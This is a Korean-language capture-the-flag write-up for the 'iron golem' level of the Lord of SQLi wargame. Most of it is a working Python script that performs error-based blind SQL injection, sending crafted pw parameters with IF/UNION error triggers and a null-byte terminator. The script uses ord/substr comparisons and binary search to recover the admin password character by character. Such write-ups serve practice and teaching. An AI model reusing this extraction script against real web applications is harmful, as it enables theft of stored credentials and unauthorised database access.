LOS - iron golem

screenshot1

소스코드를 봤을땐 sql이 에러가 나는지 안나는지만 구별할 수 있는 문제같다.

실제로 pw='dasdasdasd 이렇게 아루거나 써보면 

screenshot1

다음과 같이 에러가 표시되는걸 볼 수 있다.

이 문제는 ' or ' 의 왼쪽이 참일때 오른쪽을 실행하지 않는 특징이나 ' and '의 왼쪽이 거짓일때 오른쪽을 실행하지 않는 특징을 이용하면 될 것 같다. 그래서 다음과 같이 파이썬 코드를 짜 보면 문제가 해결될 것이다.

 

import requests
 
def judgeTF(payload):
    url = "https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php"
    cookies = {
        "PHPSESSID" : "나의 PHPSESSID"
    }
    res = requests.get(url=url+payload,cookies=cookies);
    if "preg_match" in res.text:
        return True
    else :
        return False
 
length = 1
pw = []
while True :
    payload = "?pw=\'or if(length(pw)="+str(length)+" ,1,(SELECT 1 union select 2));%00"
    if judgeTF(payload):
        print ("length : "+str(length))
        ## 2진 탐색 ##
        for i in range(1,length+1):
            compare=1
            lastCompare = compare
            end = False
            while True:
                payload = "?pw=\'or if(id=\'admin\' and ord(substr(pw,"+str(i)+",1)) > "+str(compare)+",1,(SELECT 1 union select 2));%00"
                if judgeTF(payload):
                    print(".",end="")
                else :                    
                    print("\n"+str(lastCompare)+" < ord(substr(pw,"+str(i)+",1)) < "+str(compare))
                    if(compare == 1):
                        end = True
                        break;
                    # 2진탐색 시작
                    high = compare
                    low = lastCompare
                    while True:
                        mid = int((low + high) / 2)
                        #print(" mid : "+str(mid)+" | ",end="")
                        print(".",end="")
                        #payload = '?pw=\' || id=\'admin\' and ord(substr(pw,'+str(i)+',1)) = \''+str(mid)
                        payload = "?pw=\' or if(id=\'admin\' and ord(substr(pw,"+str(i)+",1)) =\'"+str(mid)+"\',1,(SELECT 1 union select 2));%00"
                        if judgeTF(payload):
                            pw.append(mid)
                            print("\n")
                            print(pw)
                            break
                        else :
                            # payload = '?pw=\' || id=\'admin\' and ord(substr(pw,'+str(i)+',1)) < \''+str(mid)
                            payload = "?pw=\' or if(id=\'admin\' and ord(substr(pw,"+str(i)+",1)) <\'"+str(mid)+"\',1,(SELECT 1 union select 2));%00"
                            if judgeTF(payload):
                                high = mid
                            else :
                                low = mid
                    break
                lastCompare = compare
                compare *= 2
            if end == True:
                break
        print("\n-------------\n")
        print(pw)
        break
    else :
        print(payload)
        length+=1
 
for w in pw:
    print(chr(w),end="")

screenshot3

length가 길어서 2진탐색을 이용 해 보았다.